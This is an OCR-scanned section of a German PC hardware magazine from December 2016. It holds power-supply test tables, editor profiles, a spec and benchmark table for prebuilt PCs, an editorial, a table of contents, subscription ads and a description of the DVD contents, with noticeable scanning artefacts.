400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 140,- | 4x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Ca. € 160,- | 2x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
Cooler Master V550 Ca. € 100,- | 2x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 www.pcgh.de/preis/1325567 «Т MYA 
EVGA G2 550W Ca. € 100,- | 2x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90,- | 2x 6+2-Pin (58 cm) 550 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 85/90/92/91/90 % 1,64 | 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold Ca.€80, | 1х 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 | 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 М | Lautheit* Effizienz* Test in PCGH-Preisvergleich 
Seasonic Prime Titanium 650W Ca. € 190,- | 4x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Ca. € 160,- | 4x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 130,- | 4x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in PCGH-Preisvergleich 
Corsair HX1000i Ca. € 220,- | 4х 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Ca. € 170,- | 4x 6+2-Pin (50 cm) 840 Wat 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Ca. € 140,- | 2x 2 6+2-Pin (70, 85 cm), 2x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 

* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 
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Die Redaktion 


THILO BAYER 
Chefredakteur | tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


RAFFAEL VÖTTER 


Leitender Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Maus, Tastatur und Display kommen spürbar in die Jahre. Ein 
größeres Peripherie-Update ist nur noch eine Frage der Zeit. 


Mein Favorit im Spiele-Herbst ... ist neben dem Singleplayer von Battle- 
field 1 (ich weiß, das dauert nicht lange) Satellite Reign als Koop-Kampagne, 
Tahira: Echoes of the Astral Empire (ein Kickstarterspiel), Battle Brothers (Early 
Access) und noch ein paar Runden XCOM 2. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
Z170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 
Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Nein, leider ist der nicht mehr aktuell. Ich spare und freue mich 
auf die Neuheiten des Jahres 2017. Immer noch. "Geld zähl* 


Mein Favorit im Spiele-Herbst ... ist The Witcher 3. Kein Witz, denn 
Geralt, Yen & Co. lasten meine wenigen freien Tage bis heute aus. Davon ab 
freue ich mich am meisten auf Watch Dogs 2. Im Herbst, wenn es draußen 
stürmt und schüttet, macht das Spielen endlich wieder SpaB! 


Privat-PC: 17-5820К @ 2,5 GHz (0,78V), Asrock X99X Killer, 4 x 4 GiB DDR4, 
Asus GTX Titan X + Accelero Xtreme IV  1.450/4.196 MHz, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Am 18.11. startete auf Amazon Prime Video The Grand Tour. Wäh- 
rend meiner akribischen Vorbereitung stellte ich fest, dass Edge unter Windows 
10 sehr ressourcenschonend die Streams abspielt, wenn Flash deaktiviert ist. 
Das bekommt man mit einem Firefox nicht hin und so auch nicht mit Chrome. 


Mein Favorit im Spiele-Herbst ... „Hmmmh ... Don't have time to play with 
myself!" *dódó döt dódó döt dódó dót dódó dómmm dömmm* ;) 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24-Zoll-LCD, Obsidian 800D 


MANUEL CHRISTA 


Redakteur | mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Nach Monaten des Einstaubens habe ich es nun doch noch 
geschafft, die Hardware in ein neues Geháuse (Phanteks Evolv ATX in der 
Hartglasausführung) zu verfrachten. 


Mein Favorit im Spiele-Herbst ... kónnte wieder The Division werden. Das 
soll mit dem Patch 1.4 nämlich tatsächlich wieder Spaß machen. Battlefield 1 
wird noch ausprobiert. 


Privat-PC: Core i7-4790K @ Н.О, Asus 797-A, Corsair 16 GiB DDR3-1600, 
Radeon R9 390, Sandisk Ultra 11 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Seit Jahren schlage ich mich als Couch-Potato mit (Gaming-) 
Notebooks herum. Mein PC existiert zwar noch, ist aber seit Jahren nicht mehr 
aktiv. Berufsbedingt werde ich den mal wieder aufrüsten und in Betrieb nehmen. 


Mein Favorit im Spiele-Herbst ... wird wohl GTA 5 werden. Ja, wirklich. 
Ich werde erst jetzt dazu kommen, die Story mal durchzuspielen. Außerdem 
wissen wir nicht erst seit Mafia 3: Warten lohnt sich manchmal wirklich. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


PC aktuell: Da war kurzzeitig (und leihweise) eine MSI GTX 1080 Gaming X 
8G verbaut. Die Leistung ist wirklich klasse — genau das, was ich mir für hohe 
Bildraten in 1440p wünsche. Nur der Preis passt mir noch nicht so ganz. 


Mein Favorit im Spiele-Herbst ... wáre wohl Battlefield 1. Die Kampagne 
hab ich schon durch, den Multiplayer spiele ich (für meine Verháltnisse) mo- 
mentan noch recht ausdauernd. Cooles Setting, coole Technik — mir gefällt's. 


Privat-PC: i7-5820K @ 4,2 GHz, MSI X995, 32 GiB DDR4, 960 GB SSD, 3x 


WD 3 TB, Asus GTX 980 @ 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÓWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeráte, Mauspads und G 


PC aktuell: Dank PCGH-Schnäppchenführer und dort verlinktem Ebay- 
Rabattcode habe ich nun endlich eine Radeon R9 Nano (als Rückláufer) 
ergattern kónnen und dafür im Endeffekt lediglich 305 Euro bezahlt. 


Mein Favorit im Spiele-Herbst ... ist neben meinen persónlichen Dauer- 
brennern eindeutig Shadow Warrior 2, aber auch unsere aktuelle Vollversion 
Satinavs Ketten bekommt ihren Platz auf meinem Notebook. 


Privat-PC: i7-4770K (4,0 GHz/0,95V), 16 GiB DDR3-1600 (7-8-8-24-1T), 238- 
GiByte-SSD, Radeon RX 480/4(+4)G, 24-Zoll/120Hz-LCD, Knickfeder-Tastenbrett 


PC aktuell: Beim Mini-ITX-Gehäusetest in der letzten Ausgabe waren ja Hin- 
gucker und Schmuckstücke dabei. Trotzem bleibt die Hardware meines Spiele- 
Minis vor allem wegen der Kompakt-WaKü im Silverstone SST-SG10B Sugo. 


Mein Favorit im Spiele-Herbst ... ist eindeutig Battlefield 1. Das neue 
Szenario gefällt mir und auch wenn ich mich mit dem Mehrspielerteil wenig 
aufhalten werde, hat mich die Einzelspielerkampagne echt begeistert. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 


Radon R9 290X ROG Matrix Platinum, 28-Zoll-UHD-LCD, Inwin 904 (Geháuse) 


PC aktuell: Origin hält den PC beim Herunterfahren mit einer kryptischen Feh- 
lermeldung auf. Eine Neuinstallation brachte nichts. Ich hoffe auf den Support. 


Mein Favorit im Spiele-Herbst ... wird das beliebte , Móbel-Tetris", in 
welchem es darum geht, zu viele und unpassende Einrichtungsgegenstánde 
unter Zeitdruck in einer neuen Wohnung unterzubringen, während psychedeli- 
sche Musik im Hintergrund läuft. Wer zuerst durchdreht, hat gewonnen! 


Privat-PC: Core i5-4670K @ 4,2 GHz, Gigabyte Z87X-UD3H, Be Quiet E9 580, 
16 GiB DDR3-2133, EVGA GTX 980, Samsung 840 Pro, Define R4 PCGH-Edition 


DANIEL WAADT 


Head of Affiliate & E-Commerce | dwGpcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: Während die Welt Nintendos neueste mobile Multiplayer-Visionen 
verfolgt, widme ich mich der Urform des Co-Op und knacke die Rätsel von 
Deponia größtenteils als Zuschauer, während meine Freundin am PC sitzt. 


Mein Favorit im Spieleherbst ... war Civ VI, das Ergebnis scheint aber 
noch durchwachsener als Beyond Earth und Teil 5. Nach Mafia III die zweite 
(nicht ganz unerwartete) Enttäuschung. Abwarten, ob 2017 etwas bringt. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 


@ 1.200/3.750 MHz; alles @ Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


po 


STEPHAN WILKE 
Community Content Commerce Manager | swGpcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Windows 10 läuft nicht mehr ganz rund — ich glaube, es ist bald 
mal an der Zeit für eine Neuinstallation. Vielleicht sollte ich dem Rechner dann 
gleich noch ein Hardware-Upgrade spendieren? 


Mein Favorit im Spiele-Herbst ... ist auf jeden Fall Battlefield 1. EA und 
DICE haben verdammt viel richtig gemacht. Geniale Grafik, toller Sound, 
unterhaltsame Kampagne und der Multiplayer-Modus. Was will man mehr? 


Privat-PC: Core 17-4770, 16 СІВ DDR3 (Corsair), Gigabyte Z87-Board, MSI 
GTX 760, 624-GB-SSD, LG BH10LS, Samsung $27A850D, WD EX2100 NAS 


www.pcgameshardware.de 


PC aktuell: Da macht man sich mal an seinen Pile of Shame und das erste 
Spiel (Hotline Miami) läuft nicht. :( Dann eben Assassin's Creed ... 


Mein Favorit im Spiele-Herbst ... bei dem ich fürchte, dass er neben den 
großen Titeln untergehen könnte, ist Shadow Tactics: Blades of the Shogun. 
Wir haben es mit Echtzeittaktik im Stil von Commandos, aber in Japan vor 400 
Jahren zu tun. Klingt interessant? Dann merken Sie sich mit mir den 6.12. vor. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 
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Kaufberatung, Teil 2: 
Grafikkarten 


Diesen Monat 
starteten wir die 
Kaufberatungs- 
serie mit Gehäu- 
sen. Kommenden 
Monat geht's mit 
dem Haupt- 
leistungstráger 
eines Spiele-PCs, 
weiter: der 
Grafikkarte. 


Mini-ITX-PC 


Sie liebäugeln seit Monaten mit einem kom- 
pakten Wohnzimmer-PC? In unserem Special 
erfahren Sie, welche Komponenten sich für 
welchen Einsatzzweck eignen. 


Spiele- 
Make-up 


‚ Der Look von PC-Spielen ist nicht 
in Stein gemeißelt. In diesem 
Special verpassen wir alten und 
neuen Titeln ein Facelifting. 


Weitere Themen (u. a.) 

I Tests: Intel Core i7-7700K, 2.0-/2.1-Soundsysteme, Gehäuse 

I Praxis: GPU-Undervolting, BIOS-Mods für Polaris-Grafikkarten 
I Info: PCGH erklärt Netzteile 


pezei [LM Tr D Ip ITT 


Top-Vollversion 
Lords of the Fallen 


Die nàchste PC Games Hard- 
ware erscheint am 4. Januar 
2017. Abonnenten bekommen 
das Heft üblicherweise 
einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewähr. Aufgrund von Termin- 
verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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POGH-Epic-PC 
G 1X1080-Edition 


Der Epic-PC ist der erste PCGH-PC mit einer superschnellen M.2-SSD und kann 
dank 6-Kern-CPU und GTX 1080 auch bei den restlichen Komponenten überzeugen. 
as neue Flaggschiff unter den PCGH- 


D: ist der Epic-PC. Zum ersten Mal 
verzichten wir komplett auf eine HDD und 
setzen dafür zwei SSDs ein. Windows wird 
dabei auf der weltweit schnellsten M.2-SSD 
mit der Bezeichnung Samsung 960 Pro 512 
GB installiert. Beeindruckende Datentrans- 
ferraten von 3.500 MB/s beim Lesen und 
2.100 MB/s beim Schreiben sind mit dieser 
M.2-SSD möglich. Als Datenlager dient zu- 
dem die Crucial-SSD MX300 (Lesen: 530 


MB/s, Schreiben: 510 MB/s) mit einer Kapa- 
zitát von 1,05 TB. Doch auch die restlichen 
Komponenten wissen zu begeistern. So wer- 
kelt im PC der Intel-6-Kern-Prozessor Core 
i7-6800K. Bei der Grafikkarte haben wir uns 
für die Asus Geforce GTX 1080 Strix Advan- 
ced entschieden. Auch der Arbeitsspeicher 
ist mit 32 GB DDR4-2400 von Crucial sehr 
üppig ausgestattet. Noch mehr Infos und Bil- 
der zum neuen PCGH-PC finden Sie unter 
www.pcgh.de/epic-pc. (dw) 


Hardware 


Offizi PCGH-Produkt 


Hersteller/Bezugsquelle 


PCGH-High-End-PC 
GTX1070-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Enthusiast-PC 
GTX1070-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Extreme-PC 
GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/highend-pc 


www.pcgh.de/enthusiast-pc 


www.pcgh.de/extreme-pc 


www.pcgh.de/ultimate-pc 


www.pcgh.de/epic-pc 


Ausstattung 

Prozessor Intel Core i5-6600K Intel Core i7-6700K Intel Core i7-6700K Intel Core 17-6800К Intel Core i7-6800K 
Grafikkarte Geforce GTX 1070 (OC-Version) Geforce GTX 1070 Geforce GTX 1080 Geforce GTX 1080 (OC-Version) Asus GTX 1080 Strix Advanced 
Mainboard Asus Z170-P Asus Z170 Pro Gaming Asus 7170 Pro Gaming Asus Strix X99 Gaming Asus Strix X99 Gaming 


SSD-Laufwerk 


525-GB-SSD (Crucial MX300) 


500-GB-SSD (Crucial MX200/MX300) 


525-GB-SSD (Crucial MX300) 


1.050-GB-SSD (Crucial MX300) 


512 GB M.2 + 1 TB (Samsung/Crucial) 


HDD-Laufwerk 


1.000-GB-HDD (WD Blue) 


3.000-GB-HDD (Toshiba DTO1ACA300) 


3.000-GB-HDD (WD Red) 


3.000-GB-HDD (Toshiba DTO1ACA300) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Speicher 16 GB DDR4-2666@2133 (HyperX) 16 GB DDR4-2666@2133 (HyperX) 16 GB DDR4-2666@2133 (HyperX) 32 GB DDR4-2666@2400 (HyperX) 32 GB DDR4-2400 (Crucial) 
Netzteil Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler EKL Brocken 2 PCGH-Edition Scythe Mugen 4 PCGH-Edition EKL Brocken 2 PCGH-Edition EKL Brocken 2 PCGH-Edition EKL Brocken 2 PCGH-Edition 
Gehäuse Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 
Gehäuselüfter/Sonstiges 3 x Lüfter, WLAN-Karte EW-7822PIC | 3 x Lüfter, WLAN-Karte EW-7822PIC | 3 x Lüfter, WLAN-Karte EW-7822PIC | З х Fractal-Lüfter, WLAN onboard 3 x Fractal-Lüfter, WLAN onboard 
Leistung 
Lautstárke 2D (0,5 m) 0,3 Sone/21 dB(A) 0,3 Sone/21 dB(A) 0,3 Sone/21 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/19 dB(A) 
Lautstárke 3D (0,5 m) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 
Leistungsaufnahme 2D/3D 36 Watt/235 Watt 43 Watt/237 Watt 43 Watt/277 Watt 60 Watt/303 Watt 69 Watt/309 Watt 
3D Mark (Fire Strike) 4.338 (U), 7.798 (E), 13.902 (S) 4.166 (U), 7.919 (E), 15.021 (S) 4.961 (U), 9.443 (E), 17.242 (S) 5.409 (U), 10.105 (E), 18.047 (S) | 5.350 (U), 10.025 (E), 17.747 (S) 
BF1/Crysis 3/The Witcher 3 n.v./78 Fps/67 Fps n.v./76 Fps/63 Fps n.v./94 Fps/80 Fps 86 Fps/100 Fps/83 Fps 86 Fps/100 Fps/83 Fps 
Stalker: Call of Pripyat 176 Fps (Sun Shafts, Ultra, 4x AA) | 193 Fps (Sun Shafts, Ultra, 4x AA) | 212 Fps (Sun Shafts, Ultra, 4x АА) | 215 Fps (Sun Shafts, Ultra, 4x АА) | 215 Fps (Sun Shafts, Ultra, 4x AA) 
Aliens vs Predator Bench. 244 Fps (1.920 x 1.080) 237 Fps (1.920 x 1.080) 292 Fps (1.920 x 1.080) 302 Fps (1.920 x 1.080) 304 Fps (1.920 x 1.080) 
Cinebench R11.5 x64 (CPU) 6,96 Punkte 9,76 Punkte 9,75 Punkte 12,00 Punkte 12,04 Punkte 
PREIS 
re €1.679,- €1.899,- €2.199,- €2.679,- €2.879,- 
PREIS €1.769,- €1.999,- €2.299,- €2.779,- €2.979,- 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


© Sehr schnelle Geforce GTX 1080 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


© 6-Kern-CPU und 1.000-GB-SSD 
© Geforce GTX 1080 als OC-Version 
© Hoher Stromverbrauch in 2D 


© 6-Kern-CPU und Asus GTX 1080 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


PC ist sofort einsatzbereit. 


* Preiserfassung und Produktdaten vom 24.11.2016, unter www.pcg 


.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 


Wir feiern mit! 


e Acer ComfyView™ Full-HD Display 


GROWING WITH YOU mit LED-Backlight (matt) 
e DVD-SuperMulti Double Layer 
Notebook • 1x USB 3.1 Type C Gen. 1, 2 x USB 3.0, 
: 1x USB 2.0, HDMI 
Aspire F 15 (F5-5736-52PJ) ` windows 10 Home 
Schwarz Art.Nr.: 17045543033 
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Von Kommentarrekorden, 
zerlegter Hardware und GPUs 


Kommentarrekorde: Während ich diese Zeilen schreibe, hat die letzte Arbeitswoche vor Weih- : 
nachten begonnen. Traditionell ist diese Zeit besonders stressig: Die Januar-Printausgabe will ; facebook 
noch fertig gemacht werden und auch für die Webseite sind viele Vorarbeiten nötig, damit die : 

PCGH-Leser während der Urlaubszeit gut versorgt werden. Trotz aller Hektik erlaube ich mir : PCGH-Fan werden auf: 
in dieser Woche einen Rückblick auf das Jahr. Welcher Artikel trieb die PCGH-Communityam į 

meisten um? Darauf gibt es eine relativ einfache Antwort: Kein Thema kam 2016 auch nur in 

die Nähe der RX 480, AMDs neuem und erfolgreichem Versuch, in der Mittelklasse mit Nvidia 


‚м konkurrenzfähig zu sein. Die zwei Artikel mit den meisten Kommentaren drehen sich um die 
RX 480 und kommen in Summe auf über 4.000 Kommentare. Wieder ein grofšer Erfolg ist Pimp 


my PC 2016, die jährliche Leseraktion kam auf PCGH.de auf immerhin 1.450 Kommentare. Auf 


Thilo B 
нүн снн den Plàtzen 4 und 5 folgen die Тезїз der GTX 1080 und der GTX 1060. Ansonsten war das Jahr 
PC Games Hardware 2016 auf Spieleseite gepràgt von Dauerbrennern wie Direct X 12 und Spiele für die universelle 


Windows Plattform (UWP). Es ist jetzt schon abzusehen, dass das auch 2017 so sein wird, denn 
beide Themen sind den Kinderschuhen noch nicht so richtig entwachsen. Welche Themen sehen Sie 2017 neben Ryzen, 
Vega und Kaby Lake als besonders wichtig an? Schreiben Sie mir Ihre Meinung an tb@pcgh.de 

бше 3: 
Zerlegte Hardware: Tiefer gehende, umfassende Kaufberatungen hatte ich ja bereits in der letzten Ausgabe in Aussicht 
gestellt, diesen Monat machen wir hier mit einem CPU-Kompendium weiter (ab Seite 54). Eine weitere redaktionelle 
Neuerung für die kommenden Heftausgaben sehen Sie auf den Seiten 64 und 65. Auf einer Doppelseite „zerlegen“ wir 
hier sprichwörtlich Hardware und erläutern die Funktionsweise der Einzelteile. Wie finden Sie den Auftakt mit einem 
Netzteil und die Aussicht, ab sofort jede Ausgabe eine zerlegte Hardwarekomponente im Heft zu finden? 


— 


dap 


Wasserkühlung 


GPU-Datenbank: Schon seit einigen Jahren können Sie auf unserer Webseite Prozessoren bequem miteinander verglei- 
chen (www.pcgh.de/CPU-Datenbank). Schon bald folgt unsere GPU-Datenbank mit den technischen Angaben zu 300 
Grafikprozessoren von AMD/Ati und Nvidia. Aktuell werden nur noch die letzten Arbeiten vollendet, sodass Sie vermut- 
lich schon im Januar ausprobieren können, wie gut unsere gesammelten Datenblätter sind. 


Starten Sie gut ins neue Jahr und viel Spaß mit der Ausgabe Nummer 196 wünscht Ihr 


Torsten testet die neuen Hauptplatinen mit Z270-PCH für Intels erste 
Kaby-Lake-Prozessoren, den Core i7-7700K und Core i5-7600K. 


Der Spieleonkel renoviert das Testpro- 
zedere für Geháuse und nimmt im Rahmen 
einer Marktübersicht sechs neue, mittelgroße 
Modelle mit den neuen Messmethoden 
genau unter die Lupe. 


Die Redaktion 
im Dezember 2016 


+++ Manuel probiert am 240-Hertz-Monitor das sogenannte High-Fps-Gaming 
aus +++ Torsten legt Hand an das Oculus Touch und vergleicht die Technik mit 
der des HTC Vive +++ Stephan gibt Tipps, wie Sie Ihre Daten sicher transpor- 
Phil untersucht, wie sich die tieren und vor Fremdzugriffen schützen +++ Carsten erklärt, was Sie beim Kauf 
Speicherbestückung auf die Perfor- ы { einer CPU beachten sollten +++ Raff undervoltet sechs beliebte Grafikkarten und 


memea vor Spielen wie uke Winer hat sich die neue Radeon Software Crimson Relive Edition genau angesehen. 
3 oder Battlefield 1 auswirkt. 
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Heftinhalt 


Seite 10 
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Info: Neues von AMD ................................. 26 


(Ry)Zen und Vega: AMD-Produkte 2017 
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Startseite: u.a 30 
Leistungsindex von 20 Grafikkarten, Fraps- 
Nachfolger OCAT vorgestellt 


Praxis: GPU-Undervolting........................... 34 
Pascal & Polaris noch effizienter: RX 480/470 
und GTX 1060/1070/1080 undervoltet 


Praxis: Radeon Software Crimson Relive .....46 
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PROZESSOREN 


Startseite: ............................................... 52 
Infos zu Intels Kaby Lake-X, neue Kühler für 
AMA & Co., Kühler-Wertungsberichtigung, 

Top 10 der APUs 


Praxis: Prozessor-Kaufberatung .................. 54 
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ANZEIGE 


Werbefrei 


Display- & Videowerbund 

wird ausgeblendet 

Funktioniert auf pCGH.de 

und PCGH Extreme 
In der ersten Ausbaustufe erlaubt das n—n — 
PCGH-Online-Abo, dass Sie PCGH.de und ht neben Desktop-PCs auch 
das Extreme-Forum frei von externen Ge hones & Tablets 
Werbemitteln nutzen können. Das gilt für auf Smartp 10, Э у сл 


jegliche Display- und Videowerbung. Das 
aktive Online-Abo führt zu schnelleren 
Ladezeiten und auf Mobilgeräten spart es 
auch Datenvolumen. 


Cono RRE `“ ° " 
Bestehende Print-Abonnenten können e 


kostengünstig per Upgrade (6 Euro im i PCGH-Webseite” 
Jahr, Monatspreis: 50 Cent) das Online- = 

Abo hinzubuchen oder gleich die Digital- 
ausgabe hinzubestellen (12 Euro im Jahr, 
Monatspreis: 1 Euro). Diese beinhaltet ne- 
ben dem Online-Abo zudem die digitalen 
Ausgaben als E-Paper-PDF sowie den Zu- 
griff auf die App-Ausgaben (www.pcgh. 
de/digital-ausgabe). Wer ein Digital- 
Abo oder ein Kombi-Abo Digital + Print 
von PC Games Hardware besitzt, bekommt 
das Online-Abo dazu. 


wissen müssen 


ro 
aw, 
Online 


werbefrei 


te Videos 


А 


Wie bereits im April angekündigt, ist das Online-Abo von PC 


Games Hardware mit dem heutigen Tage aktiv. In diesem Artikel erfahren Sie alles. was 


Sie darüber wissen müssen. 


Inhaltsverzeichnis 


hr Printabo auf das Digitalabo 
roblem: Wenden 
uns 


Weitere Informationen finden Sie unter: 
www.pcgh.de/online-abo 


1 
Leserservice Computec Media = 
20080 Hamburg | Tel: +49 (0)911/99399098 | E-Mail: computec@dpv.de Online 


Montag: 07:00 Uhr bis 20:00 Uhr Dienstag-Freitag: 07:30 bis 20:00 Uhr Samstag: 09:00 bis 14:00 Uhr Арс DAS HARDWARE-MAGAZIN FÜR PC-SPIELER 
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Heft-DVD 


Videos, Spiele, Anwendungen - unsere Heft-DVD ist wie immer mit nützlichen, informativen und 


auch spaßigen Inhalten gefüllt. Wir stellen Ihnen das Beste des Silberlings vor. 


Die DVD im Überblick 


Vollversion i — GPUZ 1.16.0, MSI Afterburner 4.3.0, 
® Lords of the Fallen — Digital Deluxe : Nvidia Inspector 1.9.7.8, Sapphire 
Edition (DVD 1 & DVD 2) io Trixx 6.3.0 
i p AS-SSD Benchmark 1.9.5986, Fraps 
PCGH-Top-Videos : — 3.5.99, Prime 95 28.10, Super Pi 1.9 


i ® AMD Overdrive 4.3.2, Core Temp 


JP Radeon Software Crimson Relive 1.5.1, CPU-Z 1.78, Speedfan 4.52 


® RSC Relive & Chill mit HD 7970 
® Preview Kaby Lake-Boards von MSI 


Jp PCGH-Retro 10/2008 : Treiber 


i 3 Nvidia Geforce 376.33 WHQL 
(Windows 10 32/64 Bit, 


Tools i — Windows 8(.1)/7 64 Bit) 
39 Kaby-Lake-UEFls von Asrock, Asus, + » AMD Radeon Software Crimson 
Biostar, Gigabyte und MSI ; Relive 16.12. (Windows 10 32/64 Bit, 


® Futuremark VR Mark Basic 1.1.1272, i Windows 8.1/7 64 Bit) 


PDF-Jahresarchiv WS | 


Auf der Heft-DVD finden Sie zwölf Ausgaben E 
von PC Games Hardware als PDF-Datei. PCrichtig aufrüsten Ë 
Es handelt sich um die Hefte 01/2016 bis So vermeiden 
12/2016 in einer praktischen, weil komplett Sie Fehlkšufe! 
durchsuchbaren Datei. Sie können das Archiv 
auf dem PC, dem Tablet, dem Smartphone 


SN Mis a 
Sas 
usi » 


oder auch einem E-Book-Reader lesen. esten 
Kein Problem! Schicken Sie eine E-Mail mit Ihrer Schauen Sie gleich nach, welche [T-Themen 
genauen Anschrift (Name, StraBe, PLZ, Wohnort) und der Ausgabennummer H 
(z. B. Ausgabe 02/2017) unter dem Betreff „PC Games Hardware: DVD- uns ım Jahr 20 1 6 bewegt haben! 


Reklamation” an computec@dpv.de. 


PCGH-Top-Videos 


F, Ж 


т, бе 


Radeon Software Crimson Relive: Raffael Vótter demonstriert Rückblick: Die beliebte Retro-Reihe nimmt unsere Themen und deren Vorschau: Kaby-Lake-Mainboards aus MSIs 200-Reihe kurz 
und erläutert den neuen Radeon-Treiber in zwei Videos. Aufbereitung in der PCGH-Ausgabe 10/2008 aufs Korn. vorgestellt. 
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Im düsteren Action-Rollenspiel von Deck 13 verkörpern Sie den Krieger 
Harkyn. Der knurrige Kämpfer und verurteilte Verbrecher in Personaluni- 
on erreicht zu Spielbeginn ein abgelegenes Bergkloster. Dort haben sich 
die Rhogar — ein dämonisches Kriegervolk — über die friedliebenden Mön- 
che hergemacht und das Gemäuer in einen finsteren Ort voller Schutt und 
Leichen verwandelt. Ganz im Stile von Dark Souls kämpfen und zaubern 
Sie sich durch zahlreiche Quests und stellen sich mächtigen Bossgegnern. 
Fans von knackigen und wuchtig inszenierten Kämpfen finden in Lords 
